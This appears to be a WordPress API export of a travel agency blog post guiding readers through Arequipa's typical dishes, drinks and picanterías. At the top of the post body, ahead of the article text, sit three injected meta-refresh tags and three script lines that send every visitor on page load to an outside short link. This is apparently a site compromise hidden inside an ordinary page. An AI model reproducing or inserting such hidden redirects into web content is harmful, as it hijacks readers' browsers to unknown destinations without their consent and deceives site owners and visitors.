{"id":10773,"date":"2025-08-27T12:56:09","date_gmt":"2025-08-27T17:56:09","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=10773"},"modified":"2025-08-27T12:56:12","modified_gmt":"2025-08-27T17:56:12","slug":"arequipa-gastronomy-a-guide-to-the-best-dishes","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/","title":{"rendered":"Arequipa Gastronomy: A Guide to the Best Dishes"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>The so-called \u201cwhite city\u201d offers visitors like you adventures, attractions, and the best of its cuisine. There are so many reasons to visit this beautiful city, and food is one of the most important.<\/p>\n\n\n\n<p>So, in this guide, we\u2019ll learn more about the food culture in Arequipa. We assure you, you\u2019ll end up mouthwatering. Let\u2019s dive in!&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Best Arequipa\u2019s Dishes<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chupe de Camarones<\/strong><\/h3>\n\n\n\n<p>The word <strong><em>chupe<\/em><\/strong> comes from the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua<\/strong><\/a> term \u201c<em>chuwa misa\u201d<\/em>, which means &#8220;soup dish.&#8221; This tasty soup was traditionally made during the Huarachicuy or Warachikuy festival. At this celebration, young Incas marked their journey into adulthood.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"495\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/28a90d0ea8f70e2aa1086256fc4c3f0d.jpg?resize=697%2C495&#038;ssl=1\" alt=\"Chupe de camarones dish.\" class=\"wp-image-10774\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/28a90d0ea8f70e2aa1086256fc4c3f0d.jpg?w=1000&amp;ssl=1 1000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/28a90d0ea8f70e2aa1086256fc4c3f0d.jpg?resize=300%2C213&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/28a90d0ea8f70e2aa1086256fc4c3f0d.jpg?resize=768%2C545&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Today, this substantial soup is one of the most typical dishes of Arequipa. made from the city\u2019s river shrimp, which is its main ingredient. <\/p>\n\n\n\n<p>The base includes milk, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\"><strong>native spices<\/strong><\/a>, sliced potatoes, eggs, beans, etc. The result is a fragrant, thick, and delicious soup, served in a clay pot dish.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chicharron<\/strong><\/h3>\n\n\n\n<p>Chicharron is a deep-fried pig dish whose taste and technique vary across Peru. What defines Arequipa&#8217;s chicharr\u00f3n is its seasoning and preparation. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/chicharron-cusqueno_1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Chicharron, or deep fried pork\" class=\"wp-image-10775\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/chicharron-cusqueno_1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/chicharron-cusqueno_1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/chicharron-cusqueno_1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/chicharron-cusqueno_1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/chicharron-cusqueno_1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Thanks to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish conquest<\/strong><\/a>, the Spaniards brought techniques and supplies that people later applied to Peruvian cuisine. You won&#8217;t be able to resist the tender, juicy pork.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Rocoto Relleno<\/strong><\/h3>\n\n\n\n<p>The stuffed rocoto is one of the most cherished dishes not only for Arequipe\u00f1os but also for Peruvians in general. <\/p>\n\n\n\n<p>This dish features a spicy Peruvian chili pepper called \u201crocoto\u201d stuffed with a delicious filling. The filling often includes ground beef, hard-boiled eggs, olives, and sometimes raisins.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"517\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/rocot.jpg?resize=697%2C517&#038;ssl=1\" alt=\"Rocoto relleno and pastel de papa\" class=\"wp-image-10776\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/rocot.jpg?resize=1024%2C759&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/rocot.jpg?resize=300%2C223&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/rocot.jpg?resize=768%2C570&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/rocot.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;After being filled, the rocoto is topped with cheese and baked until it becomes tender and the cheese is melted and golden brown. <\/p>\n\n\n\n<p>You can eat it with \u201c<strong>pastel de papa\u201d<\/strong>, a favorite combination in picanter\u00edas (traditional Arequipa restaurants) and during festivals.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Adobo<\/strong><\/h3>\n\n\n\n<p>Although some consider this dish a breakfast, we think it\u2019s more than that. This hearty meal is a delicious and spicy pork stew, which is the main ingredient. <\/p>\n\n\n\n<p>The secret to a great adobo is how people marinate the meat:&nbsp; The marinade includes <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/\"><strong>chicha <\/strong><\/a>de gui\u00f1apo, a tasty, fermented corn beer from Arequipa.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/adobo-2.jpg?resize=697%2C871&#038;ssl=1\" alt=\"Adobo, next to Aequipa's bread, gui\u00f1apo drink\" class=\"wp-image-10777\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/adobo-2.jpg?resize=819%2C1024&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/adobo-2.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/adobo-2.jpg?resize=768%2C960&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/adobo-2.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Adobo includes vinegar, garlic, onions, and native spices. People often enjoy adobo in the morning, especially on Sundays. <\/p>\n\n\n\n<p>Because of its strong flavor and pleasing ingredients, many people believe it works well at easing hangover symptoms. You can eat it with fresh bread, which is ideal for soaking up the delicious stew.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Pastel de Papa<\/strong><\/h3>\n\n\n\n<p>This delightful potato casserole pairs with spicy dishes like rocoto relleno. This dish features thinly sliced boiled potatoes, layered with eggs and fresh Andean cheese, all mixed with milk or cream. <\/p>\n\n\n\n<p>It bakes to a lovely golden color, resulting in a creamy inside thanks to the melted cheese, with a slightly crispy top.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/paps-2.jpg?resize=697%2C871&#038;ssl=1\" alt=\"Pastel de papa and rocoto relleno\" class=\"wp-image-10778\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/paps-2.jpg?resize=819%2C1024&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/paps-2.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/paps-2.jpg?resize=768%2C960&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/paps-2.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The variety of Andean potatoes adds a special flavor and texture that makes them unique. You\u2019ll often find it served alongside rocoto relleno in local picanter\u00edas. This makes it a delightful comfort food that everyone can enjoy together!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cuy Chactado<\/strong><\/h3>\n\n\n\n<p>Cuy, or guinea pig, is a cherished traditional meat in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\"><strong>Peruvian cuisine<\/strong><\/a>, and Cuy Chactado truly shines in Arequipa. <\/p>\n\n\n\n<p>People carefully marinate and flatten the guinea pig with a blend of tasty herbs and spices. It\u2019s then fried until it&#8217;s just right, resulting in a crispy skin that pairs perfectly with the tender, juicy meat inside<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"525\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/El-clasico-Chactado-de-Cuy-siempre-en-la-mesa-arequipena.quepayrestaurante-cuychactado-peruvianfood-comidaperuana.jpg?resize=697%2C525&#038;ssl=1\" alt=\"Deep fried cuy, or cuy chactado\" class=\"wp-image-9686\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/El-clasico-Chactado-de-Cuy-siempre-en-la-mesa-arequipena.quepayrestaurante-cuychactado-peruvianfood-comidaperuana.jpg?resize=1024%2C771&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/El-clasico-Chactado-de-Cuy-siempre-en-la-mesa-arequipena.quepayrestaurante-cuychactado-peruvianfood-comidaperuana.jpg?resize=300%2C226&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/El-clasico-Chactado-de-Cuy-siempre-en-la-mesa-arequipena.quepayrestaurante-cuychactado-peruvianfood-comidaperuana.jpg?resize=768%2C578&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/El-clasico-Chactado-de-Cuy-siempre-en-la-mesa-arequipena.quepayrestaurante-cuychactado-peruvianfood-comidaperuana.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\" title=\"\">Trying cuy<\/a><\/strong> is a special experience in Arequipa; people often enjoy it during festivals and celebrations. It\u2019s usually served whole, which might catch some visitors off guard, but locals hold it dear as a traditional treat. This dish is often accompanied by Andean potatoes and aj\u00ed sauce.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ocopa<\/strong><\/h3>\n\n\n\n<p>Ocopa is a traditional dish from Arequipa, and it has a fascinating history that goes back to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-legends-the-origin-of-the-inca-empire\/\"><strong>Inca empire, <\/strong><\/a>which began as a spicy sauce for special occasions.&nbsp;<\/p>\n\n\n\n<p> Today, we enjoy Ocopa as a tasty green sauce poured over boiled potatoes, with slight variations depending on the region.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/ocop.jpg?resize=697%2C871&#038;ssl=1\" alt=\"Ocopa with olives, eggs, and lettuce\" class=\"wp-image-10779\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/ocop.jpg?resize=819%2C1024&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/ocop.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/ocop.jpg?resize=768%2C960&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/ocop.jpg?w=900&amp;ssl=1 900w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>People use dried yellow hot pepper to capture Arequipa&#8217;s unique flavor. Other tasty ingredients include garlic, peanuts, fresh paria cheese, and evaporated milk.<\/p>\n\n\n\n<p>The key consists of using <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-peruvian-batan-the-stone-heart-of-andean-flavor\/\" title=\"\">batan<\/a><\/strong>, an ancient inca tool, to make the ocopa. It adds a fresh, vivid, and natural flavor to this sauce!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Desserts and drinks<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chicha de Gui\u00f1apo<\/strong><\/h3>\n\n\n\n<p>Chicha de Gui\u00f1apo is a chicha made from purple corn, known as gui\u00f1apo in the Quechua language. Arequipe\u00f1os love it, where it shines at festivals and family gatherings. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"613\" height=\"613\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/La-chicha-de-guinapo-emblema-de-las-picanterias-de-Arequipa.jpg?resize=613%2C613&#038;ssl=1\" alt=\"Chicha de gui\u00f1apo, one of Arequipa's most emblematic drinks\" class=\"wp-image-10780\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/La-chicha-de-guinapo-emblema-de-las-picanterias-de-Arequipa.jpg?w=613&amp;ssl=1 613w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/La-chicha-de-guinapo-emblema-de-las-picanterias-de-Arequipa.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/La-chicha-de-guinapo-emblema-de-las-picanterias-de-Arequipa.jpg?resize=150%2C150&amp;ssl=1 150w\" sizes=\"auto, (max-width: 613px) 100vw, 613px\" \/><\/figure><\/div>\n\n\n<p>This drink has a slightly sweet, tangy flavor with a mild alcohol content. It goes well with the Arequipa\u2019s food, or simply sip it as a refreshing drink.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-queso-helado-a-chilly-sweet-delight\/\" title=\"\">Queso Helado<\/a><\/strong><\/h3>\n\n\n\n<p>This dessert literally means \u201ciced cheese\u201d, but it\u2019s actually a delicious frozen dessert made from milk, sugar, cinnamon, and coconut. This tasty mix creates a wonderfully sweet and creamy flavor. <\/p>\n\n\n\n<p>The name comes from its look, which can resemble cheese, especially when it\u2019s molded and served traditionally.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/3188001448_32dbd14d67_b.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Queso Helado dessert\" class=\"wp-image-14635\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/3188001448_32dbd14d67_b.jpg?w=916&amp;ssl=1 916w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/3188001448_32dbd14d67_b.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/3188001448_32dbd14d67_b.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/3188001448_32dbd14d67_b.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>In Arequipa, you\u2019ll often see vendors serving this treat in small portions, topped with a sprinkle of cinnamon to add even more sweetness.<\/p>\n\n\n\n<p>It\u2019s a favorite during the warm months and offers a refreshing way to end a meal while giving you a taste of Arequipa\u2019s dessert culture.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Kola Escocesa<\/strong><\/h3>\n\n\n\n<p>While many people in Peru love Inca Kola, Arequipe\u00f1os have a special fondness for this \u201cScottish Cola,\u201d made in nearby Yura, a district outside Arequipa, since the 1950s.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Kola Escocesa soda\" class=\"wp-image-14636\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4696054291_807b9479ce_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p> Its fruity black cherry flavor and lower sugar content make it a wonderful choice that reflects Arequipa\u2019s local pride. Kola Escocesa has a unique and refreshing flavor, ideal for battling Arequipa\u2019s heat.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Picanter\u00edas: The Heart of Arequipa&#8217;s Food Culture<\/strong><\/h2>\n\n\n\n<p>Arequipa&#8217;s<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/picanterias-the-soul-of-peruvian-andean-cuisine\/\" title=\"\"> picanterias<\/a><\/strong> are lively and welcoming place that celebrates both Andean and Spanish food traditions. <\/p>\n\n\n\n<p>Since the 16th century, these picanter\u00edas have evolved and are now popular places to enjoy delicious dishes and chicha de g\u00fci\u00f1apo, a derivation of chicha de jora. &nbsp;<\/p>\n\n\n\n<p>In 2014, picanter\u00edas were recognized as Peru\u2019s Cultural Heritage, highlighting their importance. They are known for four traditions: serving chicha, a daily lunch menu, spicy dishes, and a sense of community.&nbsp;<\/p>\n\n\n\n<p>Popular dishes include all the meals we discussed on this list and more. A traditional picanter\u00eda stands out for three main reasons. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"453\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/im_reino.jpg?resize=697%2C453&#038;ssl=1\" alt=\"Beautiful depiction of a Picanteria in the 19th Century.\" class=\"wp-image-10785\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/im_reino.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/im_reino.jpg?resize=300%2C195&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/im_reino.jpg?resize=768%2C499&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A depiction of a traditional Picanteria in the 19th century.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Picanterias Today<\/strong><\/h3>\n\n\n\n<p>First, it offers a wonderful mix of ingredients gathered from the coast and highlands of the region.\u00a0Second, its cuisine beautifully blends indigenous and Hispanic traditions. Finally, the people of Arequipa have a strong sense of community.<\/p>\n\n\n\n<p>It brings everyone together to enjoy their meals in a friendly, welcoming place. A \u201cpicantera\u201d is an expert female chef in charge of the kitchen; she creates magic in the dishes thanks to her experience.&nbsp;<\/p>\n\n\n\n<p>&nbsp;Arequipe\u00f1os have special terms related to food like \u201cpicantear\u201d ( enjoy Picanteria food) and picanteada (a visit to a <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/picanterias-the-soul-of-peruvian-andean-cuisine\/\" title=\"\">picanter\u00eda<\/a><\/strong>). <\/p>\n\n\n\n<p>These show how important these places are to the local social and culinary scene. When in Arequipa, you should definitely visit one. To find good places to eat in Arequipa, you can get more information<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/arequipa\/general-information\/best-places-to-eat-in-arequipa\" title=\"\"> here<\/a><\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>We hope you can eat the best of Arequipa\u2019s cuisine on your trip to Peru! Don\u2019t forget that Viagens Machu Picchu can help you in setting up your dreams in Peru. <\/p>\n\n\n\n<p>We offer the best experiences thanks to the expertise of our staff, who are ready to meet your interests and needs. <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>Contact us<\/strong><\/a> to take the first step in your Peruvian journey!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu: journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Explore Arequipa\u2019s famous dishes: chupe de camarones, rocoto relleno, and adobo in traditional picanter\u00edas. Try local favorites like chicha de gui\u00f1apo and queso helado. Embrace Arequipa\u2019s blend of Andean and Spanish flavors, and experience Peruvian dining culture.<\/p>\n","protected":false},"author":1,"featured_media":10786,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[202,192,1850],"tags":[1914,3395,1900,1893,3368,3403,3398,3406,3397,3399,1267,3396,3404,3400,3214,1932,3402,3405,1931,3401],"class_list":["post-10773","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arequipa","category-experiences","category-food","tag-boiled-eggs","tag-boiled-potato","tag-chicha-de-jora","tag-chili-pepper","tag-chupe-de-camarones","tag-clay-pot","tag-dishes-of-arequipa","tag-don-t-forget","tag-fresh-cheese","tag-garlic-onions","tag-guinea-pig","tag-hot-pepper","tag-melted-cheese","tag-pastel-de-papa","tag-queso-helado","tag-rocoto-relleno","tag-sliced-potatoes","tag-stuffed-rocoto","tag-traditional-dish","tag-typical-dishes"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/portada.jpg?fit=1080%2C813&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-2NL","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/10773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=10773"}],"version-history":[{"count":10,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/10773\/revisions"}],"predecessor-version":[{"id":18003,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/10773\/revisions\/18003"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/10786"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=10773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=10773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=10773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}